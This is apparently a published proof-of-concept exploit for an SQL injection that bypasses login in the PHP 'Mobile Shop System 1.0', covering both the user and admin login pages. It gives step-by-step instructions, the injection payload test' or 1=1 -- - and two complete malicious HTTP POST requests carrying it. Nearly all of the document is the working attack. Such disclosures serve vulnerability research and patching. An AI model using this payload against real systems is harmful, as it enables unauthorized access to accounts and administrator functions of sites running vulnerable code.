Mobile Shop System 1.0 SQL Injection

`# Title: Mobile Shop System v1.0 - SQLi lead to authentication bypass  
# Exploit Author: Moaaz Taha (0xStorm)  
# Date: 2020-09-08  
# Vendor Homepage: https://www.sourcecodester.com/php/14412/mobile-shop-system-php-mysql.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14412&title=Mobile+Shop+System+in+PHP+MySQL  
# Version: 1.0  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4  
  
# POC  
1- Go to "http://TARGET/mobileshop-master/login.php" or "http://TARGET/mobileshop-master/LoginAsAdmin.php"  
2- Inject this SQL payload (test' or 1=1 -- -) in email field and any password in password field.  
3- Click on "login", then you will bypass the authentication successfully.  
  
# Malicious HTTP POST Requests  
  
POST /mobileshop-master/login.php HTTP/1.1  
Host: 192.168.1.55:8888  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.55:8888/mobileshop-master/login.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 44  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
email=test%27+or+1%3D1+--+-&password=test123  
  
==========================================================================  
  
POST /mobileshop-master/LoginAsAdmin.php HTTP/1.1  
Host: 192.168.1.55:8888  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.55:8888/mobileshop-master/LoginAsAdmin.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 44  
Connection: close  
Cookie: PHPSESSID=d7c49f6634a208dca0624f2f6b1d27b6  
Upgrade-Insecure-Requests: 1  
  
email=test%27+or+1%3D1+--+-&password=test123  
`